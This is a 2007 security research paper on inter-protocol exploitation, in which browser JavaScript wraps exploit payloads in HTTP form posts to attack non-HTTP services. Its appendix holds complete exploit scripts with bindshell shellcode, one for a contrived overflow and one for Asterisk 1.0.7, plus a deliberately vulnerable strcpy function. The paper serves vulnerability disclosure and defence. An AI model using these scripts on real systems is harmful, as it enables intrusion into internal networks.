# Inter-Protocol Exploitation

Wade Alcorn [wade@ngssoftware.com ]
5th March 2007

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

## Abstract

In October 2006, this author presented a paper exploring the threat of Inter-Protocol Communication. That is, the possibility of two different applications using two different protocols to meaningfully exchange commands and data. This paper extends that and other research to explore Inter-Protocol Exploitation. These findings demonstrate the practicality of encapsulating exploit code in one protocol to compromise a program which uses a different protocol.

# Contents

# Introduction

Research within the area of web browser security, particularly Browser Exploitation Frameworks, Cross-site scripting Viruses and Inter-Protocol Communication has become a catalyst for further exploration into Inter-Protocol Exploitation. That is, an attack vector which encapsulates malicious data within a particular protocol in such a way that the resultant data stream is capable of exploiting a different application which uses a different protocol entirely.

For successful exploitation across protocols, at least one precondition needs to be met: a method to encapsulate the exploit within the carrier protocol. Depending on the complexity of the handshake, error tolerance and protocol encapsulation may also be required. These two conditions are discussed in the paper "Inter-Protocol Communication", which is the suggested preliminary reading for this paper.

This paper will focus almost exclusively on using HTTP as the carrier protocol for Inter-Protocol Exploitation. This is due to the ready availability of web browsers on internal networks and the power of JavaScript. The JavaScript language allows the construction of arbitrary HTTP/S requests to arbitrary hosts and arbitrary ports.

# Inter-Protocol Exploitation

The two protocols involved are termed the carrier protocol and the target protocol. The carrier protocol is the protocol which encapsulates the exploit and the target protocol is the protocol that the vulnerable target program is using.

The ability to perform Inter-Protocol Exploitation has an impact on perimeter security assumptions. Conventional wisdom suggests investing the greatest resource into strengthening the outer boundaries of the infrastructure. The threat highlighted by this research increases the scope of consideration when securing the network, as firewalls can potentially be bypassed.

It is well known that web browsers are vulnerable to attacks with data coming from outside the perimeter, but now this research means that previously unconsidered applications can be targeted. Simply viewing a web page from inside the security perimeter could launch an attack on an application on the internal subnet.

It is important to note that only a subset of standard vulnerabilities will be vulnerable to Inter-Protocol Exploitation. Some vulnerabilities will fail due to the target application error tolerance being too low or encapsulation may not be possible. It is more probable that text based protocols will be interoperable when compared to the unlikelihood of binary protocols.

## *Encapsulation*

This attack vector encapsulates the exploit in a manner such that the target program is still vulnerable to the resultant data stream. The data stream is made up of the carrier

protocol data and the encapsulated exploit data. An example of exploit encapsulation can be found in the Appendix: Asterisk Manager Encapsulation in HTTP.

## Handshake

It is unlikely that the Inter-Protocol Exploit will marry with the target protocol smoothly due to errors and encapsulation. Where this is the case, it may require an Inter-Protocol Communication setup phase prior to the launch of the encapsulated exploit. During the Inter-Protocol handshake it is likely that a percentage of the communication will be invalid and cause errors. Some protocol implementations permit only a certain number of errors before dropping the connection. For example, Exim (version 4.50) only allows 4 errors before disconnecting the client. If the carrier protocol causes more errors than the maximum before communicating the encapsulated exploit code the attack attempt will fail.

The Asterisk Manager Interface example in this paper requires an initial Inter-protocol Communication handshake. The Asterisk Manager Inter-protocol Exploit contains instructions to log into the application. These steps set up the state by sending the appropriate authentication commands. Only after this series of actions can the server in the vulnerable state be exploited through sending the exploit code. The following (snippet of) commands are the Inter-protocol Communication handshake to set the Asterisk Manager Interface into an exploitable state. The full encapsulation is in Appendix: Asterisk Manager Encapsulation in HTTP.

```
Action: login
Username: mark
Secret: mysecret
```

## Example Application

This example uses HTTP as the carrier protocol and a contrived protocol for the target protocol. The JavaScript interrupter within the web browser creates a powerful environment to craft HTTP requests for Web Inter-Protocol Exploitation.

Web browsers create an ideal environment to investigate the impact of exploitation across protocols. Web browsers are on the majority of machines within a network, giving them the privileged position of being in virtually all sections of the infrastructure. If the user were to visit a site under control of an attacker they would have the ability to make arbitrary requests and receive responses from web servers on the Internet. Each of the requests asks a web server to provide direction as to what actions the web browser should take.

The process relinquishes control of the web browser environment to the web server where it has at its disposal a variety of scripting languages and APIs. Web server responses are not guaranteed to be free of malicious content, whether this is from an untrustworthy source or from interference en-route. Malicious content could have the capability to direct

the web browser to perform Inter-Protocol Exploitation on devices behind firewalls and on the Internet.

## Carrier Protocol

The example exploit is encapsulated within a standard multipart/form-data post request and will use the `String.fromCharCode()` function. This function is used to create non-printable and printable characters for the content. In this case the content is the exploit.

```
content += String.fromCharCode(decval);
```

JavaScript code to create non-printable characters

## Target Protocol

A simple contrived program will be used to illustrate the process of the exploitation. This program listens for connections and then passes the received data to a function that (depending on the data size) will overflow. The function, `vulnerable_function(char* buf)`, will receive a pointer to data read off the wire. The overflow will occur if the buffer does not have a 0x00 byte at, or before the 1024th position.

```
int vulnerable_function(char* buf) {
	char targetbuf[1024];

	strcpy(targetbuf, buf);

	return 1;
}
```

Vulnerable C function in example program

A real-world example of the Asterisk Manager Interface Inter-protocol Exploit can be found in the appendix: Asterisk Manager Interface Inter-protocol Exploit Construction.

## Handshake

The contrived target program does not require a handshake prior to exploitation. This is a deliberate aspect of the design to ensure the example is clear and straight forward. For an example of an Inter-protocol Communication handshake refer to Appendix: Asterisk Manager Encapsulation in HTTP.

## Implementation

The following JavaScript function, `do_submit(ip, port, content)`, will perform a multipart request to an arbitrary IP address and to a subset of ports. The main focus is the parameter containing the content called: '`content`'. It will contain the pad data and the exploit.

```
	function do_submit(ip, port, content) {
		myform=document.createElement("form");
		myform.setAttribute("name","data");
		myform.setAttribute("method","post");
```

```
            myform.setAttribute("enctype", "multipart/form-data");
            myform.setAttribute("action","http://" + ip +
                    ":" + port + "/abc.html");
            myform.setAttribute("target","iwindow");
            document.body.appendChild(myform);

            myExt = document.createElement("INPUT");
            myExt.setAttribute("id","extNo");
            myExt.setAttribute("name","test");
            myExt.setAttribute("value",content);
            myform.appendChild(myExt);

            myform.submit();
      }
```

JavaScript do_submit() function

The result of this function is a TCP connection to the IP address and port with a data stream containing:

- HTTP header
- The start of the multipart/form-data
- The parameter content
- The remaining multipart/form-data.

```
POST /abc.html HTTP/1.1
Host: localhost:5001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2)
Gecko/20070219 Firefox/2.0.0.2
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/pl
ain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
16913154845139
Content-Length: 1266

-----------------------------16913154845139 Content-Disposition: form-
data; name="test"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
<more As>
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBÇÜwë Yë
 èøÿÿÿOIIIIIIQZVTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOM
NOL6KNMTJNIOOOOOOOBVKXN6FBF2K8E4NCKHN7E0J7APONKHODJQKXO5BRA0KNITKHFCKX
A0PNASBLI9NJFHBLF7GPALLLMPA0DLKNFOK3FUFBJBEGENK8OUFBAPKNHFKXN0K4KHOEN1
APKNC0NRK8IXNFF2NQAVCLACKMF6KXCTB3K8BTN0KHBGNAMJKHBTJ0PUJFPHP4P0NNBEOO
HMH6C5HVJVCSDSJFG7CGDSOUF5OOBMJVKLMNNOKCB5OOHMOEI8ENHVAHMNJPDPEUL6DPOO
BMJ6IMI0EOMJG5OOHMCEC5C5C5CECDCECTC5OOBMH6JVAANUHFC5IHANE9JFFJLQBWGLG5
OOHMLFBAAEE5OOBMJ6FJMJPRING5OOHMC5EUOOBMJ6ENI4HXI4GEOOHMBEF5F5EEOOBMC9
J6GNI7HLI7GEOOHME5OOBMHFLVFVH6JFC6M6IHENL6B5I5I2NLIXGNL6FDIHDNASBLCOLJ
PODDM2PODTN2C9MXLGJCKJKJKJJ6D7POCKH1OOE7FDOOHMKUGUDEAEAUAEL6A0AUAEE5AE
OOBMJFMJIMEPPLCEOOHMLFOOOOGSOOBMK8GENOCXFLFVOOHMD5OOBMJVP7JMDNCWC5OOHM
OOBMZ
-----------------------------16913154845139--
```

Resultant data of the do_submit() function and Inter-protocol Exploit for the contrived application

When this data is sent to the target program and the data is passed to the `vulnerable_function()` function, the HTTP header and the multi-part/form-data will be copied to the buffer. At this point the buffer will contain data read from the TCP connection.

If the attacker-controlled content is long enough, the buffer will overflow. That is, if the data has been sufficiently padded the program may crash or have indeterminate effects. When the content is specifically crafted to contain the appropriate length padding and shellcode, there is a real potential for Inter-Protocol Exploitation. The full JavaScript code can be found in the Appendix: Example Application Inter-protocol Exploit Construction.

## Browser Considerations

A boundary delimiter is used to distinguish parts of the multi-part HTTP request and is part of the metadata. The example application used to demonstrate Inter-protocol Exploitation will need to take into consideration the boundary delimiter. The boundary delimiter affects the length of padding of the stack overflow. This consideration will not affect all Inter-protocol Exploits and is not relevant in the Asterisk Manager Interface exploitation listed in Appendix: Example Application Inter-protocol Exploit Construction.

Firefox appears to employ an algorithm to create a random number as part of the boundary delimiter. The inclusion of this random number statistically alters the length of the HTTP header by two byte intervals prior to the multipart/form-data content and three byte intervals overall. This is due to the different length representations of the generated Integers.

```
POST /abc.html HTTP/1.1
Host: localhost:5001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1)
Gecko/20061204 Firefox/2.0.0.1
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------
2676244048410
Content-Length: 1262

-----------------------------2676244048410
Content-Disposition: form-data; name="test"

<attacker controlled content>
-----------------------------2676244048410--
```

HTTP multipart/form-data post request – The red numbers are boundary delimiter values

This variance in length will typically have to be taken into consideration during Inter-Protocol Exploitation; exploitation of a stack overflow will require the EIP to be written accurately. If this does not happen, the value of the EIP register will point to a random piece of memory and be unsuccessful. The reader should note more advanced strategies do exist, however this is out of the scope of this paper.

### Potential Scenario

An attacker is able to deploy the Web Inter-Protocol Exploit using various methods. One such method could be via a cross-site scripting virus payload which potentially infects web applications across the web. If a user were to load an infected page over HTTPS, the boundary security enforcement measures would not be able to detect the malicious content.

At this point the Inter-Protocol Exploit and its launching mechanism have circumvented all boundary security measures. All that remains is target selection and for the malicious content to deploy the exploit within a potentially soft underbelly internal network. Target selection can be performed through various means including port scanning (from the browser).

## Further Research

### *AJAX and Inter-Protocol Exploitation*

AJAX security allows for XMLHttpRequests to only be submitted to the domain and port the request originated from. Apart from this security measure, AJAX provides more flexible request construction compared to the rigid multipart/form-data post methods.

Using Inter-Protocol XSS is one possible method to circumvent the security model. Inter-Protocol XSS could be employed as a step to use the flexible construction in AJAX XMLHttpRequests for Inter-Protocol Exploitation.

### *Payload Construction*

Payload construction has received limited discussion in this paper and various possibilities are yet to be fully explored. One of the main areas likely to yield results for payload flexibility is utilising different character sets.

## Conclusion

In the past, vulnerability exploitation has been initiated from controlled communication channels and not encapsulated within other protocols. This paper has demonstrated the practicality of encapsulating an exploit within one protocol to exploit an application using a different protocol.

The resultant Inter-Protocol Exploitation has been shown through an example of interaction between HTTP and a contrived program. This was achieved by using JavaScript to encapsulate the exploit within an HTTP request. This, in turn, exploited a specific vulnerability in the target application giving control to the attacker. It is one

demonstration of how perimeter security cannot be relied upon to prevent an attack of this kind.

Whilst some implications of Inter-Protocol Exploitation have been discussed, this remains an area for further research. What is evident at this early stage however, is that Inter-Protocol Exploitation is an attack vector worthy of significant consideration.

## About Next Generation Security Software (NGSSoftware)

NGSSOftware is the trusted supplier of specialist security software and hi-tech consulting services to large enterprise environments and governments throughout the world. Voted "best in the world" for vulnerability research and discovery in 2003, the company focuses its energies on advanced security solutions to combat today's threats. NGSSoftware maintains the largest penetration testing and security cleared CHECK team in EMEA. Founded in 2001, NGSSoftware is headquartered in Sutton, Surrey, with research offices in Scotland and Australia, working with clients on a truly International level.

## About NGS Insight Security Research (NISR)

The NGS Insight Security Research team are actively researching and helping to security flaws in popular off-the-shelf products. As the world leaders in vulnerability discovery, NISR release more security advisories than any other commercial security research group in the world.

# References


1. Inter-Protocol Communication
   http://www.ngssoftware.com/research/papers/InterProtocolCommunication.pdf

2. The Cross-site Scripting Virus
   http://www.bindshell.net/papers/xssv

3. Browser Exploitation Framework
   http://www.bindshell.net/tools/beef

4. US-Cert: Vulnerability Note VU#476267
   http://www.kb.cert.org/vuls/id/476267

5. HTML Code Injection and Cross-site scripting
   http://www.technicalinfo.net/papers/CSS.html

6. XSS (Cross-site Scripting) Cheat Sheet
   http://ha.ckers.org/xss.html

7. CGISecurity's Cross-site Scripting FAQ
   http://www.cgisecurity.com/articles/xss-faq.shtml

8. Wikipedia Javascript
   http://en.wikipedia.org/wiki/Javascript

9. HTML 4.01 Specification
   http://www.w3.org/TR/html4/present/frames.html

10. Bugtraq Posting - 1998
    http://archive.cert.uni-stuttgart.de/archive/bugtraq/1998/10/msg00046.html

11. HTML Form Protocol Attack
    http://www.remote.org/jochen/sec/hfpa/index.html

12. Extended HTML Form Attack
    http://eyeonsecurity.org/papers/Extended%20HTML%20Form%20Attack.htm

13. Metaspoit Shellcode
    http://www.metasploit.com/

14. Interactive Mail Access Protocol - Version 3
    http://tools.ietf.org/html/rfc1203

15. Asterisk (1.0.7) Manager Interface Overflow Advisory
    http://www.bindshell.net/advisories/astman

# Appendix

## *Example Application Inter-protocol Exploit Construction*

The following code is a contrived example of the Inter-protocol Exploit for the example application discussed in this paper.

```
// target details
var target_ip   = 'localhost';
var target_port = '5001';
var payload     = '';

// shellcode creates a bindshell on port 4444
var shellcode   = "C71FDC77EB0359EB05E8F8FFFFFF4F494949494949515A" +
      "56545836333056583441304236484830423330424356583242444248 34" +
      "413241443041445442445142304144415658345A3842444A4F4D4E4F4C" +
      "364B4E4D544A4E494F4F4F4F4F4F42564B584E36464246324B384534" +
      "4E434B484E3745304A3741504F4E4B484F444A514B584F35425241304B" +
      "4E49544B4846434B584130504E4153424C49394E4A4648424C46374750" +
      "414C4C4C4D504130444C4B4E464F4B33465546424A424547454E4B384F" +
      "55464241504B4E48464B584E304B344B484F454E3141504B4E43304E52" +
      "4B3849584E4646324E514156434C41434B4D46364B58435442334B3842" +
      "544E304B4842474E414D4A4B4842544A3050554A465048503450304E4E" +
      "42454F4F484D4836433548564A56435344534A464737434744534F5546" +
      "354F4F424D4A564B4C4D4E4E4F4B4342354F4F484D4F454938454E4856" +
      "41484D4E4A50445045554C3644504F4F424D4A36494D4930454F4D4A47" +
      "354F4F484D434543354335433543354345434443454354435443354F4F424D4836" +
      "4A5641414E55484643354948414E45394A46464A4C514257474C47354F" +
      "4F484D4C464241414545354F4F424D4A36464A4D4A5052494E47354F4F" +
      "484D433545554F4F424D4A36454E49344858493447454F4F484D424546" +
      "35463545454F4F424D43394A36474E4937484C493747454F4F484D4535" +
      "4F4F424D48464C56465648364A4643364D364948454E4C364235493549" +
      "324E4C4958474E4C3646444948444E4153424C434F4C4A504F44444D32" +
      "504F44544E3243394D584C474A434B4A4B4A4B4A4A364437504F434B48" +
      "314F4F453746444F4F484D4B554755444541454154154 1454C3641304155" +
      "4145453541454F4F424D4A464D4A494D4550504C43454F4F484D4C464F" +
      "4F4F4F47534F4F424D4B3847454E4F4358464C46564F4F484D44354F4F" +
      "424D4A5650374A4D444E435743354F4F484D4F4F424D5A00";

function do_submit(ip, port, content) {
      myform=document.createElement("form");
      myform.setAttribute("name","data");
      myform.setAttribute("method","post");
      myform.setAttribute("enctype", "multipart/form-data");

      myform.setAttribute("action","http://" + ip +
            ":" + port + "/abc.html");
      myform.setAttribute("target","iwindow");
      document.body.appendChild(myform);

      myExt = document.createElement("INPUT");
      myExt.setAttribute("id","extNo");
      myExt.setAttribute("name","test");
      myExt.setAttribute("value",content);
      myform.appendChild(myExt);
```

```
      myform.submit();
}

// have multiple attempts
function do_loop() {
      do_submit(target_ip, target_port, payload);
      setTimeout('do_loop();', 1000);
}

// build payload
var pad_size = 409; // remaining buffer size, after HTTP header
for (var i = 1; i<pad_size; i++) { // pad buffer
      payload += "A";
}

payload += "BBBB"; // this is the saved ebp getting overwritten

for (var i = 0; i<shellcode.length; i+=2) {
      hexstr = shellcode.substring(i,i+2);
      decval = parseInt(hexstr,16);
      payload += String.fromCharCode(decval);
}

do_loop();
```

## *Asterisk Manager Interface Inter-protocol Exploit Construction*

The following code is a real world example of the Inter-protocol Exploit for the Asterisk Manager Interface (http://www.bindshell.net/advisories/astman). It will exploit the Asterisk version available from http://ftp.digium.com/pub/asterisk/releases/asterisk-1.0.7.tar.gz.

```
// target details
var target_ip = 'localhost';
var target_port = '5038';
var payload = '';

// shellcode creates a bindshell on port 4444
var shellcode = "0D0A" +
      "416374696F6E3A206C6F67696E0D0A55" +
      "7365726E616D653A206D61726B0D0A53" +
      "65637265743A206D797365637265740D" +
      "0A0D0A416374696F6E3A20436F6D6D61" +
      "6E640D0A436F6D6D616E643A20222209" +
      "2222092222092222092222092222092" +
      "2209222209222209222209222092222" +
      "0922220922220922220922220922209" +
      "2222092222092222092222092222092" +
      "2209222209222209222209222092222" +
      "0922220922220922220922220922209" +
      "2222092222092222092222092222092" +
      "2209222209222209222209222092222" +
      "0922220922220922220922220922209" +
```

```
      "22220922220922220922220922220922" +
      "22092222092222092222092222092222" +
      "09222209222209222209222209222209" +
      "22220922220922220922220922220922" +
      "22092222545B81EB0101010181C35B04" +
      "01019090FFE30D0A416374696F6E4944" +
      "3A20EB0359EB05E8F8FFFFFF4F494949" +
      "494949515A5654583633305658344130" +
      "42364848304233304243565832424442" +
      "48344132414430414454424451423041" +
      "44415658345A3842444A4F4D41334B4D" +
      "4335435443354C5644504C5648364A45" +
      "49394958414E4D4C4238484943444445" +
      "48564A5641414E45483643354938414E" +
      "4C5648564A3542554135485549384 14E" +
      "4D4C4258424B4856414D434E4D4C4238" +
      "4435443548554344948414E424B4846" +
      "4D4C424843594C3644504955424B4F53" +
      "4D4C425849344937494F424B4B504435" +
      "4A464F424F3243474A464A464F324456" +
      "493650364948434E445543454948414E" +
      "4D4C42385A0D0A0D0A0D0A0D0A0D0A0D61";


var iframe = document.createElement("iframe");
iframe.setAttribute("id","iwindow");
//iframe.setAttribute("style", "visibility:hidden;");
document.body.appendChild(iframe);

function do_submit(ip, port, content) {
      myform=document.createElement("form");
      myform.setAttribute("name","data");
      myform.setAttribute("method","post");
      myform.setAttribute("enctype", "multipart/form-data");

      myform.setAttribute("action","http://" + ip +
            ":" + port + "/abc.html");
      document.getElementById("iwindow").contentWindow.document.body.app
      endChild(myform);

      myExt = document.createElement("INPUT");
      myExt.setAttribute("id","extNo");
      myExt.setAttribute("name","test");
      myExt.setAttribute("value",content);
      myform.appendChild(myExt);

      myform.submit();
}

for (var i = 0; i<shellcode.length; i+=2) {
      hexstr = shellcode.substring(i,i+2);
      decval = parseInt(hexstr,16);
      payload += String.fromCharCode(decval);
}

do_submit(target_ip, target_port, payload);
```

## *Asterisk Manager Encapsulation in HTTP*

The follow Inter-protocol Asterisk Manager Exploit is the encapsulated in a HTTP post request. This is the resultant communicated data from Appendix: Asterisk Manager Interface Inter-protocol Exploit Construction.

```
POST /abc.html HTTP/1.1
Host: localhost:5038
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2)
Gecko/20070219 Firefox/2.0.0.2
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
255721180612687
Content-Length: 719

-----------------------------255721180612687
Content-Disposition: form-data; name="test"

Action: login
Username: mark
Secret: mysecret

Action: Command
Command: ""  ""    ""    ""    ""    ""    ""    ""    ""    ""    ""
       ""    ""    ""    ""    ""    ""    ""    ""    ""    ""    ""
       ""    ""    ""    ""    ""    ""    ""    ""    ""    ""    ""
       ""    ""    ""    ""    ""    ""    ""    ""    ""    ""    ""
       ""    ""    ""    ""    ""    ""    ""    ""    ""    ""    ""
       ""    ""    ""    ""    ""    ""T[ ë    Ã[    ÿã
ActionID:
ë Yë èøÿÿÿOIIIIIIQZVTX630VX4A0B6HH0B30BCVX2BDBH4A2AD0ADTBDQB0ADAVX4Z8BDJOMA3
KMC5CTC5LVDPLVH6JEI9IXANMLB8HICDDEHVJVAANEH6C5I8ANLVHVJ5BUA5HUI8ANMLBXBKHVAM
CNMLB8D5D5HUCDIHANBKHFMLBHCYL6DPIUBKOSMLBXI4I7IOBKKPD5JFOBO2CGJFJFO2DVI6P6IH
CNDUCEIHANMLB8Z




a
-----------------------------255721180612687—
```